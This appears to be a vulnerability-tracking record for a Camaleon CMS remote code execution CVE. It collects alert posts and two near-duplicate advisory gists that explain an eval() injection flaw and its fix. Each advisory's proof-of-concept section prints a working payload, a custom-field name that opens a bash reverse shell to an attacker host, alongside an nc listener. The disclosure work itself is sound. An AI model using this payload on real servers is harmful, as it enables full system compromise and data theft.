{"vulnerability": "cve-2026-66748", "sightings": [{"uuid": "8213293e-308a-49bc-8e6f-6e62106541c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95604", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a theopaid\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-28 23:10:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSecurity Advisory: Camaleon CMS - Authenticated RCE via `select_eval` Custom Field\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-30T00:03:19.733817Z"}, {"uuid": "5a995cf7-2471-4e84-9d8a-f70b921021ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mrpv6bv23f2w", "content": "\ud83d\udfe0 CVE-2026-66748 - High (8.8)\n\nCamaleon CMS versions 2.1.1 through 2.9.1 contains an authenticated remote code execution vulnera...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-66748/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-28T17:01:00.967225Z"}, {"uuid": "4bf785cf-2d20-460c-be81-b722dbbb8ae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "seen", "source": "https://t.me/GithubRedTeam/95604", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a theopaid\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-28 23:10:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nSecurity Advisory: Camaleon CMS - Authenticated RCE via `select_eval` Custom Field\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-29T01:00:03.988638Z"}, {"uuid": "4eef325c-26bd-49df-8c64-663e812b6e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrrwmbzm7x2z", "content": "CVE-2026-66748\nCamaleon CMS versions 2.1.1 to 2.9.1 have a security flaw that allows authorized users to run unauthorized code on the server. This could lead to sensitive data being accessed or modified. To stay secure,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-29T12:32:03.986696Z"}, {"uuid": "7604c8a4-dc7a-4b63-a997-583492a184d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "seen", "source": "https://gist.github.com/tikeii275-cyber/b2ca180f989ff591c3dce6ffcf47a7b3", "content": "# Camaleon CMS \u2014 Authenticated RCE via `eval()` in Custom Field i18n Rendering\n\n## 1. Executive Summary\n\n| Item | Details |\n|---|---|\n| Vulnerability Name | Server-Side Code Injection via `eval()` in Custom Field Name (i18n rendering) |\n| Application | Camaleon CMS (`owen2345/camaleon-cms`) |\n| Affected Version | 2.9.1 and earlier |\n| Fixed Version | 2.9.2 (PR #1129) |\n| Vulnerability Type | Remote Code Execution (RCE) |\n| CWE | CWE-94 (Improper Control of Generation of Code) |\n| Severity | High \u2014 CVSS 3.1 **7.2** (`AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`) |\n| Authentication | Required (administrative privileges) |\n| Discovery Date | 2026-02-02 |\n| Reporters | Nguyen Trung Kien, Mohammad KH Yaseen |\n\n## 2. Vulnerability Description\n\nCamaleon CMS version 2.9.1 (and earlier) is vulnerable to Remote Code Execution within\nthe custom-field name processing logic.\n\nThe helper function `cama_print_i18n_value()` in `html_helper.rb` passes any value\nstarting with `t(` to Ruby's `eval()` after a string substitution, without any validation\nor sanitization. An authenticated user with administrative privileges can inject arbitrary\nRuby code through the **Name** attribute of a custom field (specifically the Check Box\ntype), achieving arbitrary code execution on the server with the privileges of the web\nserver process.\n\n## 3. Vulnerable Code Analysis\n\n- **File:** `app/helpers/camaleon_cms/html_helper.rb`\n- **Lines:** 142\u2013143\n\n```ruby\n# execute translation for value if this value is like: t(admin.my_test) ==> My Text\ndef cama_print_i18n_value(value)\n  value.start_with?('t(') ? eval(value.sub('t(', 'I18n.t(')) : value\nend\n```\n\n**Technical flaws:**\n\n- The function checks whether a value starts with `t(`, rewrites that prefix to `I18n.t(`,\n  and passes the result directly to `eval()`.\n- No input validation is performed, allowing arbitrary Ruby code injection.\n- **Payload mechanism:** a payload like `t(system('command'))` is rewritten to\n  `I18n.t(system('command'))`. In Ruby, the inner `system('command')` is evaluated first\n  (to produce the argument to `I18n.t`), so the attacker-controlled command executes.\n\n## 4. Steps to Reproduce (Proof of Concept)\n\n**Prerequisites:** administrative access to the Camaleon CMS dashboard.\n\n1. Start a listener on the attacker's machine:\n   ```\n   nc -lvnp 5555\n   ```\n2. Log in to the Admin Panel and navigate to: **Settings \u2192 Custom Fields \u2192 New**.\n3. Create a new custom field group:\n   - Name: `Test`\n   - Where to display: `Post`\n4. Add a field of type **Check Box** with the following **Name**:\n   ```\n   t(system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1\"'))\n   ```\n5. Click **Submit** to save.\n6. Navigate to: **Contents \u2192 Posts \u2192 Add New**.\n7. **Result:** the field renders, `eval()` fires, and a reverse shell is established to the\n   attacker's machine.\n\n## 5. Impact Assessment\n\n| Impact | Description |\n|---|---|\n| Confidentiality | High \u2014 attacker can access all sensitive data on the server |\n| Integrity | High \u2014 attacker can modify or delete critical system files and data |\n| Availability | High \u2014 attacker can shut down services or crash the server |\n\n**Critical risks:** full system compromise; theft of databases, environment variables, and\ncredentials; installation of persistent backdoors or malware.\n\n## 6. Remediation\n\nRemove `eval()` and avoid dynamic code execution. Extract the key safely and restrict it to\na valid translation-key pattern:\n\n```ruby\ndef cama_print_i18n_value(value)\n  if value.start_with?('t(') && value.end_with?(')')\n    key = value[2..-2] # content between t( and )\n    key.match?(/\\A[\\w.]+\\z/) ? I18n.t(key) : value\n  else\n    value\n  end\nend\n```\n\nThis fix was applied by the maintainer in PR #1129 (released in v2.9.2).\n\n## 7. Distinction from CVE-2026-66748 (Not a Duplicate)\n\nThis vulnerability is **distinct** from CVE-2026-66748, despite both being RCE issues in\nCamaleon CMS custom fields fixed in the 2.9.2 release.\n\n| | This report (PR #1129) | CVE-2026-66748 |\n|---|---|---|\n| Function / sink | `cama_print_i18n_value()` \u2192 `eval()` | `select_eval` field \u2192 `instance_eval(field.options[:command])` |\n| File | `html_helper.rb` | `_select_eval.html.erb` |\n| Injection point | Custom field **Name** (`t(...)` prefix) | `select_eval` field option `command` |\n| Fix | PR #1129 | commit `15882366` |\n\nDifferent root cause, different function, different code path, and a separate fix. They are\nnot duplicates.\n\n## 8. Timeline\n\n- **2026-02-02** \u2014 Discovered.\n- **2026-04** (approx.) \u2014 Reported to the CVE Program.\n- **2026-05** (approx.) \u2014 Fixed by the maintainer in PR #1129 (v2.9.2).\n\nThis discovery and fix **predate** CVE-2026-66748 (reserved 2026-07-27).\n\n## 9. References\n\n- Fix (PR #1129): https://github.com/owen2345/camaleon-cms/pull/1129\n- Changelog (2.9.2): https://github.com/owen2345/camaleon-cms/blob/master/CHANGELOG.md", "creation_timestamp": "2026-10-01T17:23:09.000000Z"}, {"uuid": "fb0d6b86-503c-410a-ad13-6073bcbd57ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66748", "type": "seen", "source": "https://gist.github.com/tikeii275-cyber/c64cd130112ac90e264fcbc26056cecb", "content": "# Camaleon CMS \u2014 Authenticated RCE via `eval()` in Custom Field i18n Rendering\n\n## 1. Executive Summary\n\n| Item | Details |\n|---|---|\n| Vulnerability Name | Server-Side Code Injection via `eval()` in Custom Field Name (i18n rendering) |\n| Application | Camaleon CMS (`owen2345/camaleon-cms`) |\n| Affected Version | 2.9.1 and earlier |\n| Fixed Version | 2.9.2 (PR #1129) |\n| Vulnerability Type | Remote Code Execution (RCE) |\n| CWE | CWE-94 (Improper Control of Generation of Code) |\n| Severity | High \u2014 CVSS 3.1 **7.2** (`AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`) |\n| Authentication | Required (administrative privileges) |\n| Discovery Date | 2026-02-02 |\n| Reporters | Nguyen Trung Kien, Mohammad KH Yaseen |\n\n## 2. Vulnerability Description\n\nCamaleon CMS version 2.9.1 (and earlier) is vulnerable to Remote Code Execution within\nthe custom-field name processing logic.\n\nThe helper function `cama_print_i18n_value()` in `html_helper.rb` passes any value\nstarting with `t(` to Ruby's `eval()` after a string substitution, without any validation\nor sanitization. An authenticated user with administrative privileges can inject arbitrary\nRuby code through the **Name** attribute of a custom field (specifically the Check Box\ntype), achieving arbitrary code execution on the server with the privileges of the web\nserver process.\n\n## 3. Vulnerable Code Analysis\n\n- **File:** `app/helpers/camaleon_cms/html_helper.rb`\n- **Lines:** 142\u2013143\n\n```ruby\n# execute translation for value if this value is like: t(admin.my_test) ==> My Text\ndef cama_print_i18n_value(value)\n  value.start_with?('t(') ? eval(value.sub('t(', 'I18n.t(')) : value\nend\n```\n\n**Technical flaws:**\n\n- The function checks whether a value starts with `t(`, rewrites that prefix to `I18n.t(`,\n  and passes the result directly to `eval()`.\n- No input validation is performed, allowing arbitrary Ruby code injection.\n- **Payload mechanism:** a payload like `t(system('command'))` is rewritten to\n  `I18n.t(system('command'))`. In Ruby, the inner `system('command')` is evaluated first\n  (to produce the argument to `I18n.t`), so the attacker-controlled command executes.\n\n## 4. Steps to Reproduce (Proof of Concept)\n\n**Prerequisites:** administrative access to the Camaleon CMS dashboard.\n\n1. Start a listener on the attacker's machine:\n   ```\n   nc -lvnp 5555\n   ```\n2. Log in to the Admin Panel and navigate to: **Settings \u2192 Custom Fields \u2192 New**.\n3. Create a new custom field group:\n   - Name: `Test`\n   - Where to display: `Post`\n4. Add a field of type **Check Box** with the following **Name**:\n   ```\n   t(system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1\"'))\n   ```\n5. Click **Submit** to save.\n6. Navigate to: **Contents \u2192 Posts \u2192 Add New**.\n7. **Result:** the field renders, `eval()` fires, and a reverse shell is established to the\n   attacker's machine.\n\n## 5. Impact Assessment\n\n| Impact | Description |\n|---|---|\n| Confidentiality | High \u2014 attacker can access all sensitive data on the server |\n| Integrity | High \u2014 attacker can modify or delete critical system files and data |\n| Availability | High \u2014 attacker can shut down services or crash the server |\n\n**Critical risks:** full system compromise; theft of databases, environment variables, and\ncredentials; installation of persistent backdoors or malware.\n\n## 6. Remediation\n\nRemove `eval()` and avoid dynamic code execution. Extract the key safely and restrict it to\na valid translation-key pattern:\n\n```ruby\ndef cama_print_i18n_value(value)\n  if value.start_with?('t(') && value.end_with?(')')\n    key = value[2..-2] # content between t( and )\n    key.match?(/\\A[\\w.]+\\z/) ? I18n.t(key) : value\n  else\n    value\n  end\nend\n```\n\nThis fix was applied by the maintainer in PR #1129 (released in v2.9.2).\n\n## 7. Distinction from CVE-2026-66748 (Not a Duplicate)\n\nThis vulnerability is **distinct** from CVE-2026-66748, despite both being RCE issues in\nCamaleon CMS custom fields fixed in the 2.9.2 release.\n\n| | This report (PR #1129) | CVE-2026-66748 |\n|---|---|---|\n| Function / sink | `cama_print_i18n_value()` \u2192 `eval()` | `select_eval` field \u2192 `instance_eval(field.options[:command])` |\n| File | `html_helper.rb` | `_select_eval.html.erb` |\n| Injection point | Custom field **Name** (`t(...)` prefix) | `select_eval` field option `command` |\n| Fix | PR #1129 | commit `15882366` |\n\nDifferent root cause, different function, different code path, and a separate fix. They are\nnot duplicates.\n\n## 8. Timeline\n\n- **2026-02-02** \u2014 Discovered and reported directly to the maintainer (email to Owen Peredo / Camaleon CMS), including the technical report and PoC.\n- **2026-03-16** \u2014 Maintainer (Aurel Branzeanu) acknowledged the report to Nguyen Trung Kien and pushed the fix to the `master` branch (PR #1129).\n- **2026-04** (approx.) \u2014 CVE ID requested from the CVE Program.\n- **2026-05-01** \u2014 Fix released in v2.9.2.\n\nThis disclosure and fix **predate** CVE-2026-66748 (reserved 2026-07-27) by several months. Vendor correspondence confirming the 2026-02-02 disclosure and the 2026-03-16 fix acknowledgement is available on request.\n\n## 9. References\n\n- Fix (PR #1129): https://github.com/owen2345/camaleon-cms/pull/1129\n- Changelog (2.9.2): https://github.com/owen2345/camaleon-cms/blob/master/CHANGELOG.md", "creation_timestamp": "2026-10-01T17:34:53.000000Z"}]}